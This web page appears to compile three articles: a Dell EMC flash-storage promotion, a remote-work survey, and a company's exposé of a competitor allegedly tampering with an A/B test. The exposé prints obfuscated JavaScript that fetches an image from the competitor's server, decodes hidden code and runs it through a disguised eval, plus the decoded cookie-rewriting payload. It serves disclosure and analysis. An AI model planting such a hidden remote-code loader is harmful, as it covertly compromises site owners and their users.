Опрос ESG показал, что 44% компаний улучшили совокупную стоимость владения, и покупка флеш-накопителей стала разумным приобретением. За счет снижения цены на твердотельные накопители современные технологии стали доступнее для широкого спектра рабочих нагрузок и типов данных, включая неструктурированные.
Развертывание систем на флеш-памяти, внедрение больших емкостей для структурированных или блочных данных требует больших затрат, неподъемных для многих компаний. Поэтому флеш-массивы для неструктурированных данных должны быть изначально хорошо масштабируемыми. Это сделает первоначальные инвестиции приемлемыми, особенно учитывая постепенное снижение стоимости компонентов флеш-памяти.
Но аппаратное обеспечение — только часть решения. Большим компаниям для эффективной работы потребуются функциональные возможности файловой системы корпоративного уровня: поддержка нескольких протоколов, автоматическая миграция данных по уровням хранения (тиринг) и горизонтально-масштабируемая архитектура.
Флеш-технологии — хороший старт для цифровой трансформации
Для быстрой работы с неструктурированными данными и файловым контентом компания Dell EMC разработала All Flash Isilon — современную и недорогую сетевую систему хранения высокой плотности корпоративного класса с возможностями горизонтально-масштабируемого (scale-out) хранения файлов.
Система хранения данных All Flash Isilon использует возможности дешевеющих флеш-накопителей. Архитектура системы нацелена на функциональность корпоративного класса и масштабирование файловой системы. Это обеспечивает высокопроизводительный доступ к большим объемам данных.
Dell EMC — лидер на рынке хранения флеш-массивов, а Isilon — ведущая масштабируемая NAS. Новая разработка Dell EMC All Flash Isilon для хранения данных с высокой масштабируемостью сочетает в себе преимущества цены/производительности флеш-технологий с эффективностью, гибкостью и отказоустойчивостью ОС Isilon OneFS. Система Isilon All-Flash будет доступна для заказа в 2017 году.
Dell EMC — лидер на мировом рынке флеш-массивов. Источник: IDC.
Операционная система Isilon OneFS стала восьмым поколением программного обеспечения и насчитывает более 7 тыс. инсталляций. Сфера ее применения — аналитика, совместная работа с файлами, резервное копирование и архивирование. За счет модульной архитектуры Isilon динамически масштабируется с 16 до 68 Пбайт путем добавления узлов кластера.
Isilon All-Flash Scale-Out NAS с ОС Isilon OneFS
Система хранения Isilon All-Flash Scale-Out NAS нацелена на то, чтобы использовать флеш-память для всех критических неструктурированных данных и рабочих нагрузок. Флеш-массив позволяет достичь экстремальных характеристик. К сожалению, большинство подобных решений ориентированы на поддержку приложений с блочным доступом, но блочные данные сегодня составляют лишь 20% объема данных большинства компаний.
Эффективность высокопроизводительной и масштабируемой системы хранения корпоративного класса Dell EMC All Flash Isilon достигается за счет сочетания бездискового шасси высокой плотности с надежной и гибкой операционной системой Isilon OneFS.
Ряд производителей уже вывели на рынок флеш-массивы NAS. Но эти ранние версии продуктов не обладают средствами корпоративного класса, возможностями защиты данных, безопасности и эффективного управления. Это выгодно отличает решение EMC All Flash Isilon от аналогов — в нем все эти важные моменты учтены и реализованы.
Dell EMC All Flash Isilon сделает переход к бездисковым ЦОД реальным.
Сильная сторона и уникальность All Flash Isilon не в аппаратном, а в программном обеспечении. Решение работает на базе операционной системы Isilon OneFS, которая применяется на других платформах Isilon и используется в тысячах компаниях по всему миру. Современное восьмое поколение Isilon OneFS с его безграничными возможностями корпоративного уровня считается первой в мире масштабируемой платформой хранения NAS.
All Flash Isilon сочетает высокую производительность флеш-памяти с масштабируемостью и другими средствами корпоративного уровня:
- Производительность: для поддержки самых сложных неструктурированных рабочих нагрузок All Flash Isilon обеспечивает до 250 000 IOPS (операций ввода-вывода в секунду) и пропускную способность 15 Гбайт/с на шасси, а общая производительность кластера составляет до 25 М IOPS и 1,5 Тбайт/с.
- Масштабируемость: с All Flash Isilon можно увеличить емкость хранилища с 92 до 924 Тбайт в одном шасси 4U и до 92,4 Пбайт в одном кластере Isilon.
- Операционная гибкость: решение работает под управлением операционной системы Isilon OneFS с поддержкой нескольких протоколов (включая NFS, SMB, FTP, HDFS, REST, SWIFT и HTTP). Это дает возможность на одной платформе поддерживать широкий спектр приложений и типов нагрузок.
- Защита корпоративных данных: All Flash Isilon обеспечивает целостность неструктурированных данных и высокую доступность с резервированием до N + 4, а также резервное копирование и аварийное восстановление корпоративного уровня.
- Безопасность: Варианты обеспечения безопасности включают управление доступом на основе ролей (RBAC), зоны безопасного доступа, защиту данных WORM согласно SEC, аудит файловой системы и шифрование данных.
- Эффективность: Для All Flash Isilon характерна низкая совокупная стоимость хранения данных. Коэффициент использования хранилища может превышать 80%, а дедупликация SmartDedupe может увеличить эффективную емкость еще на 30%.
All Flash Isilon – это:• 924 Tбайт флеш-памяти в шасси 4U; • масштабируемость до более чем 92 Пбайт (100 шасси) с единой файловой системой; • многопротокольная поддержка (NFS, SMB, HDFS, SWIFT, FTP, HTTP, NDMP); • SmartPools и CloudPools: автоматическая миграция данных по уровням хранения, включая облако; • управление данными: дедупликация, квотирование, SmartConnect, InsightIQ; • защита данных: от N+1 до N+4 ECC, зеркалирование, снапшоты, репликация; • безопасность: WORM, аудит, шифрование, зоны доступа, ролевая аутентификация. |
С помощью ПО InsightIQ видны все изменения в среде хранения.
В едином семействе
Преимущество Dell EMC All Flash Isilon в том, что система построена на базе нового сверхплотного шасси с флеш-накопителями и масштабируемой файловой системы Isilon OneFS. Это совместимое расширение целого семейства продуктов, а не изолированная система хранения или еще один «островок данных».
Семейство продуктов Dell EMC Isilon (гибридных и флеш-массивов) с разными показателями емкости и производительности позволяет подобрать решение для любой задачи.
Преимущества решения:
- Флеш-массив с полной функциональностью OneFS: при обслуживании и защите контента первостепенное значение имеют возможности корпоративного уровня. В All Flash Isilon реализованы те же функции OneFS, которые есть в дисковых массивах Isilon — поддержка нескольких протоколов, шифрование и безопасность, автоматическая миграция между уровнями хранения и облаком, полный набор функций отказоустойчивости.
- Переход на флеш-память, когда это необходимо: All Flash Isilon с операционной системой Isilon OneFS можно объединять в пул хранения данных с существующими кластерами Isilon для создания гибридного решения. Гибкость развертывания позволяет переходить на флеш-накопители тогда, когда в этом есть потребность, но нет необходимости полностью заменять существующую инфраструктуру хранения. Это избавляет компанию от сложной и затратной миграции файлового хранилища большой емкости.
- Высокая плотность с гранулярной масштабируемостью: Для All Flash Isilon характерна высокая плотность — 924 Тбайт флеш-памяти в шасси 4U. Архитектура All Flash Isilon поддерживает масштабирование системы с меньшим шагом — до 24 Тбайт на каждый узел: так емкость наращивается постепенно, что сокращает единовременные инвестиции.
Преимущество All Flash Isilon в опции автоматического копирования данных на подходящие по стоимости ресурсы хранения. С помощью ПО Isilon SmartPools и CloudPools решение использует автоматизированное многоуровневое хранение данных. Это делает возможной простую миграцию данных на более дешевые уровни, включая облачное хранилище, как только они становятся менее ценными. Компании это дает экономию на капитальных затратах и оптимизацию ресурсов хранения. Опция автоматического копирования данных освобождает место в хранилище All Flash Isilon для самых требовательных приложений.
В любой момент Isilon может быть расширена сервисами передачи данных и продуктами сторонних поставщиков ПО (ISV). Это расширит ее возможности и увеличит сферу применения от активного архивирования до аналитики больших данных и хранения записей систем видеонаблюдения.
Для разных задач и потребностей разработаны разные модели NAS-платформы Isilon: для интенсивных транзакционных нагрузок; экономичная; с высокой плотностью или исключительно программная. Но все они отвечают конкретным требованиям разных нагрузок к производительности и емкости СХД.
Последняя версия OneFS поддерживает CloudPools для хранения данных в облаке, программное обеспечение IsilonSD Edge и обновление системы без ее остановки.
Оценка аналитиков
Аналитики отдают Isilon звание лидера рынка масштабируемых файловых систем по нескольким причинам. Эксперты высоко оценили стабильность продукта, высокую эффективность работы с данными, простоту управления и мобильность данных, а также высокую удовлетворенность компаний, внедривших решение. Согласно оценке Gartner, Isilon — это зрелая, масштабируемая NAS-платформа, готовая к использованию во многих отраслях бизнеса.
Сфера применения Isilon расширяется, и сегодня решение используют не только для традиционных файловых систем, но и для задач видеонаблюдения, аналитики больших данных, резервного копирования и активного архивирования.
В Gartner уверены, что пользователи, работающие с неструктурированными данными, оценят широкий спектр продуктов Dell EMC, активную ценовую политику, новые модели развертывания и использования СХД. В числе преимуществ названы возможность покупки исключительно программной версии системы, лизинг, подписка и оплата за фактически задействованные ресурсы.
По мнению специалистов, способ перехода к инфраструктуре с ведущей ролью флеш-хранилища так же важен, как и конечный результат. Например, среды хранения большой емкости с неструктурированными данными требуют для миграции больших затрат и времени. А полная замена существующей инфраструктуры для развертывания новой среды хранения на флеш-накопителях — это еще и высокий риск потери важной информации при переносе данных. Но вендоры, которые уже устранили проблемы высокой стоимости и сложности полной миграции данных в текущих поколениях аппаратного обеспечения, устранят эти проблемы и в будущих поколениях СХД, уверены аналитики.
Эксперты прогнозируют, что в близкой перспективе емкость будет измеряться десятками и сотнями петабайт. В такой ситуации вопрос миграции данных неизбежен. Те компании, которые сделают это первыми, станут эффективнее конкурентов и сэкономят на операционных расходах.
Заключение
Сегодня скорость генерирования, анализа и обмена данными стала ключевым показателем конкурентоспособности предприятия. Чтобы отвечать требованию времени, им нужен оперативный высокопроизводительный доступ к данным. И задачи бизнес-аналитики — лишь один из примеров. Эксперты прогнозируют, что быстрый анализ генетической информации в здравоохранении способен спасти жизни людей и снизить расходы на охрану здоровья без потери качества услуг. В перспективе компании в индустрии медиа и развлечений увеличат разрешения видео и фото до 8K и 16K. В САПР высокопроизводительный доступ к цифровому контенту ускорит разработку продуктов. Качественный рывок в скорости обработки и способе хранения данных стал возможен благодаря технологии флеш-систем. Dell EMC предлагает ИТ-подразделениям компаний повысить конкурентоспособность и осуществить этот переход уже сегодня на выгодных условиях, без больших затрат и рисков.
Комментарии (0)
Удалённая работа в цифрах и диаграммах
На «Моём круге» ежемесячно размещается 35% вакансий, предлагающих удалённую работу в сфере ИТ. При этом, если изучить базу резюме сервиса, то увидим, что к удалённой работе готовы 67% специалистов. Налицо явный разрыв между спросом работодателей на удалённую работу и предложением со стороны соискателей на неё. Как следствие, откликов на вакансии с удалённой работой в среднем в 3-4 раза больше, чем на вакансии с офисной работой. В условиях растущего недостатка в ИТ-специалистах очевидно, что в более выигрышном положении оказываются те работодатели, которые готовы переходить на удалённую работу.
Мы решили разобраться, что сейчас собой представляет рынок удалённой работы в России. Для этого мы провели опрос среди пользователей «Моего круга» и «Хабрахабра», собрали почти 3000 ответов, все их обработали, визуализировали и прокомментировали.
Надеемся, наше скромное исследование поможет работодателям побыстрее понять, как работать удалённо, чтобы получить очевидные конкурентные преимущества в кадрах. Также оно может пригодиться и соискателям, которые пока не успели поработать удалённо, чтобы получить представление о достоинствах и недостатках подобной работы и в результате иметь больший выбор в предлагаемых на рынке ИТ-вакансиях.
Сколько сейчас работают удалённо и где
В данный момент удалённо работает каждый третий. Удалёнщиков можно поделить на три категории. Большинство удалёнщиков — это сотрудники компаний, каждый четвёртый — фрилансер, каждый десятый — самозанятый. Каждый четвёртый из удалёнщиков работает на иностранную компанию.
Только 20% опрошенных не имеют опыта удалённой работы. При этом, подавляющее большинство из них рассматривают возможности такой работы. То есть со стороны соискателей не видно никаких препятствий для перехода на удалёнку.
Доля удалённых сотрудников по отношению к офисным заметно ниже в Москве и Петербурге, и заметно выше — в небольших городах. Также их доля в разы ниже в крупных компаниях по сравнению со средними и мелкими. Скорее всего, такая ситуация связана не только со сложившимися традициями офисной работы, но и с тем, что управлять удалёнными сотрудниками значительно сложнее, с ростом штата сложность управления возрастает экспоненциально.
Доля удалённых сотрудников по отношению к офисным чуть выше в возрасте от 30 до 40 и заметно ниже в самых взрослых возрастах. Интересно, почему в более ранних возрастах доля удалёнщиков ниже, хотя эти люди погрузились в современные технологии в более раннем возрасте, чем предыдущие поколения? Наверное, это связано с тем, что человеку по-прежнему всё же нужно пройти некоторую изначальную социализацию, получить опыт очного рабочего взаимодействия с другими.
Если смотреть по сферам деятельности, то доля удалёнщиков выше среди контентщиков, маркетологов и дизайнеров, и ниже среди эйчаров, аналитиков, тестировщиков и администраторов.
Если смотреть по зарплате, то относительная доля удалёнщиков заметно выше в когортах как с самой низкой, так и с самой высокой зарплатой. Первое объясняется тем, что на расстоянии гораздо проще доверять более простую и дешёвую работу. А второе тем, что многие удалёнщики выбирают работу в иностранной компании, зарплата в которой выше, чем в отечественной. Так, если в среднем на иностранные компании работает четверть от всех удалёнщиков, то среди указавших большие зарплаты таких оказывается уже до трёх четвертей.
Три мифа об удалённой работе
Удалённая работа окружена большим количеством мифов. Один из них мы уже затронули чуть выше и увидели, что далеко не все удалёнщики работают на иностранные компании и зарабатывают больше других. Теперь давай рассмотрим ещё несколько мифов.
Как видим, только незначительное меньшинство удалёнщиков используют удалённый формат работы, чтобы переехать туда, где им комфортней жить, или чтобы путешествовать. Большинство при этом тратит на работу столько же или даже больше времени, чем работая в офисе, но зато распоряжается своим временем более свободно.
Преимущества и недостатки удалённой работы
Подавляющее большинство удалёнщиков предпочитают работать из дома. При этом почти каждый пятый работает в компании, которая расположена в его городе.
Общение с коллегами у удалёнщиков мало чем отличается от общения офисных сотрудников. Половина из них общаются с коллегами по нескольку раз в день. При этом большинство вообще не бывает в офисе работодателя.
Мы задали один и тот же вопрос о преимуществах и недостатках удалённой работы как тем, у кого уже был опыт такой работы, так и тем, у кого такого опыта никогда не было, и получили следующий результат. Сразу видно, что люди без опыта склонны преуменьшать достоинства (диаграмма слева) и преувеличивать недостатки (диаграмма справа), как это свойственно людям вообще, тут нет ничего странного.
Среди самых часто указываемых преимуществ удалённой работы — экономия времени на дорогу и гибкий рабочий график. Еще многим нравится потенциальная возможность путешествовать и работать в комфортных привычных условиях.
Среди самых часто указываемых недостатков — нехватка очного общения с коллегами и много отвлекающих бытовых факторов. Также чаще всего указывают среди недостатков на нехватку неформального общения с коллегами и на отсутствие понимания процессов, которые протекают в компании, потерю вовлеченности.
Большинство считают, что удовлетворённость работой и эффективность в ней никак не связаны с удалённостью этой работы. При этом в три раза чаще говорят, что удовлетворённость от удалённой работы выше, чем от офисной, и в два раза чаще — что выше эффективность.
Инструменты удалённой работы
Напоследок, мы решили выяснить, с помощью каких инструментов взаимодействуют люди, работающие удалённо, получился своеобразный топ-лист.
Фаворитом дистанционного корпоративного общения по-прежнему остаётся дедушка Skype (его указали 77% опрошенных) и прадедушка Email (64%). На вторых местах такие новички как Slack (40%) и Telegram (38%). И телефон, как ни крути, по прежнему популярен (38%).
Среди сервисов ведения задач нет безусловных лидеров. Первые места принадлежат Jira (37% опрошенных указали этот сервис для ведения задач) и всё тому же Email (36%). Вторые места занимают Trello (24%) и Redmine (18%).
Как выясняется, за учётом времени с помощью специальных средств почти никто не следит: 56% сказали об этом. 21% пользуются возможностями Jira и 11% — Redmine.
Все диаграммы подготовлены с помощью сервиса infogr.am
Комментарии (0)
Атака на АБ-тест: рецепт 'R'+t(101)+'es46'
Несколько месяцев назад один из наших конкурентов начал делать странное – предлагать нашим клиентам сравнение своей системы рекомендаций с Retail Rocket через АБ-тесты в формате «пари» с обязательством заплатить 100 000 рублей в случае проигрыша.
Подобные истории для нас не редкость — за время существования компании нашу систему сравнивали практически со всеми существующими рекомендательными системами в России и за рубежом, и мы всегда показывали отличные результаты (ни в одном тесте мы не проиграли по эффективности).
Первый тест с Rees не заставил себя ждать, но в ходе его проведения мы столкнулись с довольно странными результатами, которые вылились в серьезное исследование. То, что мы обнаружили в итоге, удивило нас так сильно, что мы хотим поделиться деталями этого исследования и вынести его результаты на суд IT-сообщества и индустрии электронной коммерции в России.
АБ-тестирование систем рекомендаций в интернет-магазине «Дочки&Сыночки»
В интернет-магазине «Дочки&Сыночки» в течение нескольких месяцев шел тест трех рекомендательных систем: Retail Rocket, Rees и внутренней системы компании.
Механика проведения АБ-тестирования: вся аудитория сайта случайным образом делится на три равных части, и каждая часть аудитории видит свою версию сайта. Меняются только блоки персональных рекомендаций — каждому сегменту показываются блоки, управляемые одной из рекомендательных систем:
В рамках теста измеряется конверсия каждого сегмента трафика, сравнивается с другими и по результатам принимается решение о том, какая система работает эффективнее.
Аудитория делится на клиенте с помощью JavaScript-кода, все пользователи получают идентификатор одного из трех сегментов теста, который сохраняется в куке и затем передается в Google Analytics при каждом значимом действии на сайте.
Результаты теста на момент написания статьи из Google Analytics — конверсия по сегментам
Сегмент А — рекомендательная система Дочки Сыночки
Сегмент В — рекомендательная система Rees
Сегмент С — рекомендательная система Retail Rocket
Изменения конверсии относительно показателей внутренней рекомендательной системы «Дочки&Сыночки»
По этим данным сегмент С (Retail Rocket) проигрывает, сегмент B (Rees) выигрывает. Отдельно обратите внимание 27 мая, в этот день Retail Rocket показывает лучшие показатели — к этой детали мы вернемся позже.
В течение теста инженерная команда Retail Rocket провела множество внутренних тестов, выявила несколько ошибок на сайте, исправила немало проблем с интеграцией и провела набор внутренних тестов различных алгоритмов и их вариаций. Ощутимых изменений все эти действия не принесли.
Визуальная оценка качества рекомендаций
У нас в Retail Rocket есть несколько способов оценки эффективности и качества рекомендаций. Самый первый из них – так называемая “экспертная оценка” (субъективная визуальная оценка “адекватности”).
Посмотрим на примеры рекомендаций, сформированные системами Retail Rocket и Rees:
К наполнителю для кошачьего туалета, наша система рекомендует переноску для животных и разные виды корма для кошек, а система Rees — детское питание, чай и ректальную трубку для детей.
Таких примеров по довольно посещаемым товарам (по которым быстро копится статистика) очень много (вот один из отчетов по визуальной оценке качества), и несмотря на то, что экспертная оценка не влияет напрямую на цифры, это простой и быстрый способ, который служит определенным показателем качества работы рекомендательных систем.
Косвенная оценка качества рекомендаций
Нам показалось странным, что при такой визуальной составляющей, цифры показывают результат не в нашу пользу, поэтому мы потратили много ресурсов на различные внутренние исследования причин.
В первую очередь мы решили исследовать аудиторию, которая взаимодействует с блоками товарных рекомендаций. При клике товары в рекомендательных блоках Rees, к URL добавляется параметр:
Мы добавили похожий параметр в URL товаров из блоков рекомендаций Retail Rocket:
И построили в GA сегменты кликавших в рекомендательные блоки пользователей:
Первой гипотезой стало то, что наша система хуже угадывает предпочтения пользователей, рекомендует менее релевантные товары.
Если это так, то наши блоки должны получать меньше кликов, чем блоки рекомендаций Rees, что опровергается данными Google Analytics — мы получаем в 2,81 раз больше кликов по виджетам:
Вторая гипотеза, которую мы рассматривали: визуально хорошие рекомендации отвлекают людей от покупки и снижают конверсию. Т.е. притягивают их внимание, но отвлекают от покупок и не способствуют росту продаж.
В этом случае кликнувшие в блоки рекомендаций Retail Rocket будут конвертироваться хуже, чем кликнувшие в блоки Rees. Но по данным Google Analytics это не так, конверсия кликнувших в блоки Retail Rocket значительно выше (на 37% по данным за 4 дня):
Таким образом, Retail Rocket значительно чаще рекомендует релевантные пользователю товары, пользователи чаще кликают на эти товары и рекомендации положительно влияют на продажи.
Если проблем с теми, кто взаимодействует с рекомендациями нет, и с визуальной стороны рекомендации выглядят релевантными, остается посмотреть на тех, кто не кликает по рекомендациям.
Исследование аудитории интернет-магазина
Начав исследовать этот сегмент аудитории, мы заметили два интересных факта:
- В сегменте Rees на несколько процентов больше пользователей, чем в других сегментах, хотя настройки АБ-теста предполагают равномерное распределение аудитории между рекомендательными системами.
- В сегменте Rees аудитория более лояльная, в ней гораздо больше посетителей, которые приходят на сайт повторно.
Чтобы проверить корректность работы разделения трафика интернет-магазина на сегменты, мы самостоятельно протестировали сегментатор с помощью кода, который использовал сайт: параллельно с основным делением, запустили сегментирование той же аудитории — погрешность получилась минимальной:
- Сегмент 1: 63215 пользователей
- Сегмент 2: 63500 пользователей
- Сегмент 3: 63686 пользователей
Это означает, что сегментатор работает правильно и погрешности в несколько процентов быть не может, т.е. распределение трафика в рамках АБ-теста «Дочки&Сыночки» содержит аномалию.
Наши разработчики детально исследовали код сайта на предмет JS ошибок и багов, которые могли бы влиять на сегментацию, и не нашли ничего, что могло бы вызвать аномалию.
Логичным предположением стала мысль, что пользователи каким-то образом могут перемещаться между сегментами. В нашей практике встречались случаи, когда пользователи меняли сегмент внутри теста, например из-за неправильно заданного времени жизни куки (в одном из магазинов кука, в которую сохраняли идентификатор сегмента АБ-теста, жила только две недели, и если пользователь возвращался по истечении этого времени, ему присваивалось случайно значение — т.е. пользователь мог попасть в другой сегмент теста). Чтобы избежать подобных ситуаций, у нас разработан чек-лист, в котором есть пункт о необходимости убедиться, что пользователь не меняет сегмент в ходе теста.
Для отслеживания подобных ситуаций в Google Analytics есть инструмент «Последовательности», который позволяет выделить пользователей, которые сначала были в одном сегменте, а затем перешли в другой. Для анализа мы построили несколько таких сегментов в Google Analytics:
И в результате получили такие цифры:
По этим данным четко видно, что в сегмент Rees из остальных перемещается аномально много пользователей. И это точно не баг, иначе пользователи перемещались бы между всеми сегментами равномерно.
Второй вывод: эти пользователи делают много заказов.
*Интернет-магазин подтвердил, что это настоящие заказы (почти все они имеют статус «выкуплено»)
По номерам заказов пользователей, перемещенных в сегмент Rees, мы исследовали наши внутренние логи сессий и выявили следующие паттерны:
- Почти все пользователи, перемещенные в сегмент Rees, имеют добавление товаров в корзину (т.е. это более лояльная/конверсионная аудитория);
- Перемещения пользователей распределяются по часам неравномерно, это указывает на то, что оно инициируется вручную;
- Перемещения пользователей в сегмент Rees происходит в те дни, когда Retail Rocket начинает побеждать в АБ тесте:
Перемещение пользователей в сегмент Rees (сверху часы, слева дни)
Перемещение пользователей в сегмент Retail Rocket (сверху часы, слева дни)
В таблице видно, что 25 и 26 мая перемещений почти нет, а 27 мая, когда система Retail Rocket начинает выходить в плюс — перемещения начинаются снова. И вновь перемещаются пользователи, которые добавляют товар в корзину и скоро сконвертируются в покупателей.
Исследование кода, работающего на сайте
Поскольку перемещение лояльных пользователей в семент Rees выглядело подозрительно, мы начали искать причину смены сегмента пользователей и изучать код. Мы тщательно исследовали, кто и как работает с куками, не мог ли кто-то случайно что-то сделать для появления подобных ошибок, и ничего подозрительного мы не нашли.
Оставалось два варианта: либо кука изменяется сервером магазина Дочки Сыночки и этого не видно на клиенте, либо динамическим кодом, который приходит с сервера по какому-то запросу.
Проверяя динамический код, мы искали в том числе функцию eval — специальную javascript функцию, которая может выполнять любой текст, к примеру присланный с сервера, как JavaScript код, что в недобросовестных руках позволяет скрыть функциональность кода, но при этом дает полный доступ ко всему окружению сайта.
В ходе проверки наткнулись на странный кусок кода в JS библиотеке Rees:
key: "markDMP",
value: function(e) {
var t = function(e) {
return String.fromCharCode(e)
};
if (e)
for (var i in e)
if (e.hasOwnProperty(i))
if (function(e) {
return /\x61\x70\x69\x2E\x72\x65\x65\x73\x34\x36\x2E\x63\x6F\x6D/.test(e)
}(e[i])) {
var n = function() {
var n = document.createElement("canvas")
, o = void 0
, s = t(67)
, a = t(68)
, u = l.default.get(s.toLowerCase() + "ity") || l.default.get(t(71) + "EO_" + a + "ELIVERY_" + s + "ITY_I" + a)
, c = [s + "UR", s + "ITY", s + "ODE"];
if (n && n.getContext && u && !1 === g.default.isDebug()) {
if (/^a:/.test(u)) {
var h = r.unserialize(u);
if (!h || 464 === h[c.join("_")])
return "continue"
} else if (3784 === u || 3577 === u)
return "continue";
o = new Image,
o.crossOrigin = "use-credentials",
o.onload = function(e, r) {
r.width = this.naturalWidth,
r.height = this.naturalHeight;
var i = r.getContext("2d");
i.drawImage(this, 0, 0);
var n = i.getImageData(0, 0, this.naturalWidth, this.naturalHeight)
, o = n.data
, s = void 0
, a = void 0
, u = "";
for (s = 0,
a = o.length; s < a; s++)
if (!(s % 4 == 3 && s > 0)) {
if (0 === o[s])
break;
u += function(e) {
return String.fromCharCode(~-e)
}(o[s])
}
try {
window[t(101) + "val"](u)
} catch (e) {}
}
.bind(o, t, n),
o.src = e[i]
}
}();
if ("continue" === n)
continue
} else {
var o = document.createElement("img");
o.src = e[i],
o.style.width = 0,
o.style.height = 0,
o.style.display = "none",
o.style.position = "absolute",
o.style.left = "-9999px",
document.body.appendChild(o)
}
}
}
Весь код доступен по ссылке. Особенность этого куска кода — в нем явно пытаются скрыть его функциональность.
По коду можно сделать несколько выводов:
- Этот фрагмент кода написан специально для магазина ДочкиСыночки, поскольку он скрыто использует куку под именем “city”, принадлежащую магазину (магазин хранит в ней идентификатор региона пользователя)
- Код намеренно написан так, чтобы затруднить его чтение и понимание (вместо текста используются числовые идентификаторы букв)
- Функциональность кода специально скрывается от внешних разработчиков — код не отрабатывает при открытой консоли браузера и для посетителей сайта из Москвы (интернет-магазин должен знать, что он интегрирует к себе на сайт, и какая строчка кода за что отвечает, а здесь — намеренное сокрытие)
- Код предназначен для загрузки картинки с сервера Rees, раскодирования из этой картинки текста, и передаче текста на вход в наивно спрятанную функцию eval (window[t(101) + «val»](u))
- Все это указывает на возможность скрыто выполнить любой код со стороны Rees
Мы предполагаем, что как только это информация будет опубликована, Rees удалит этот код, поэтому мы сохранили его с помощью двух внешних независимых сервисов: https://web.archive.org и http://ift.tt/WlpNRW
Его отформатированная версия доступна для исследования по ссылке.
Чтобы понять, что именно делает этот фрагмент, мы написали модуль, который эмулирует действия пользователя и логирует все запросы в сторону сервера Rees. 25 и 26 мая ничего не происходило (это также видно из таблицы с данными о почасовому перемещению пользователей в сторону Rees), а 27 мая, когда по данным Google Analytics система Retail Rocket вышла в плюс по АБ тесту, около 7 вечера по московскому времени вновь начались перемещения пользователей в сегмент Rees.
Перемещение пользователей в сегмент Rees (сверху часы, слева дни)
В это же время мы зафиксировали запросы в сторону сервера Rees на картинку в формате PNG (содержимое картинки можно посмотреть по ссылке). Просто так картинка не доступна (возвращается ошибка 404), но при передаче в заголовке запроса к картинке сессии пользователя Rees, картинка оказывается доступной для скачивания:
Если картинку передать на вход в код, который пытались закодировать/скрыть, для удобства мы вынесли его отдельно, получается вот такой JS, который изменяет значение куки, где хранится сегмент пользователя АБ теста:
document.cookie="rr-VisitorSegment_Rec=3:2; domain=.dochkisinochki.ru; path=/; expires=Mon, 25 Sep 2017 10:15:20
+0000";document.cookie="DS_SM_rrSegmentRecommendedABC=B; domain=.dochkisinochki.ru; path=/
Этот код явно изменяет две куки, принадлежащих магазину, в которых хранится сегмент пользователя, на значение сегмента равного сегменту Rees.
Мы уверены, что Rees скроет все следы этой атаки, поэтому картинка так же сохранена запросом независимого стороннего сервиса.
Таким образом, код системы Rees перемещает в свой сегмент пользователей, которые добавили товар в корзину и вот-вот совершат заказ.
По данным, полученным с момента начала логирования перемещений пользователей (1–28 мая), построенным на основе изначально выданного пользователям сегмента (то есть из этих данных исключены все, кто впервые приходил на сайт до 1 мая), Retail Rocket достоверно побеждает в тесте, а Rees уменьшает продажи магазина:
Точное окно миграции лояльных пользователей интернет-магазина в сегмент Rees неизвестно, поэтому разница в эффективности значительно больше.
Кроме того, мы видим признаки других атак на тест в коде Rees, например, при первом посещении сайта их система осуществляет куки матчинг с несколькими RTB-сетями.
Код синхронизации:
Сохраненный запрос можно посмотреть по ссылке на web.archive.org
Запросы синхронизации:
Это как минимум позволяет конкурентам интернет-магазина получить доступ к этим пользователям, и как максимум — вести ретаргетинг на трафик из своего сегмента и уводить трафик из других сегментов теста к конкурентом, снижая конверсию.
Интересный факт, что эта атака Rees поддерживалась активной PR-кампанией в СМИ и социальных сетях:
Вместо заключения
За без малого 5 лет работы, мы впервые сталкиваемся с подобным поведением. С сожалением надо признать, что АБ тесты можно проводить только при абсолютной уверенности порядочности всех его участников.
Мы считаем такие методы конкуренции недобросовестными и недопустимыми, это наносит ущерб всему сообществу и подрывает доверие к сложившимся практикам работы. В данный момент мы ведем активную работу в правовом поле с целью наказать виновных и призываем сообщество поделиться опытом решения подобных ситуаций.
Комментарии (0)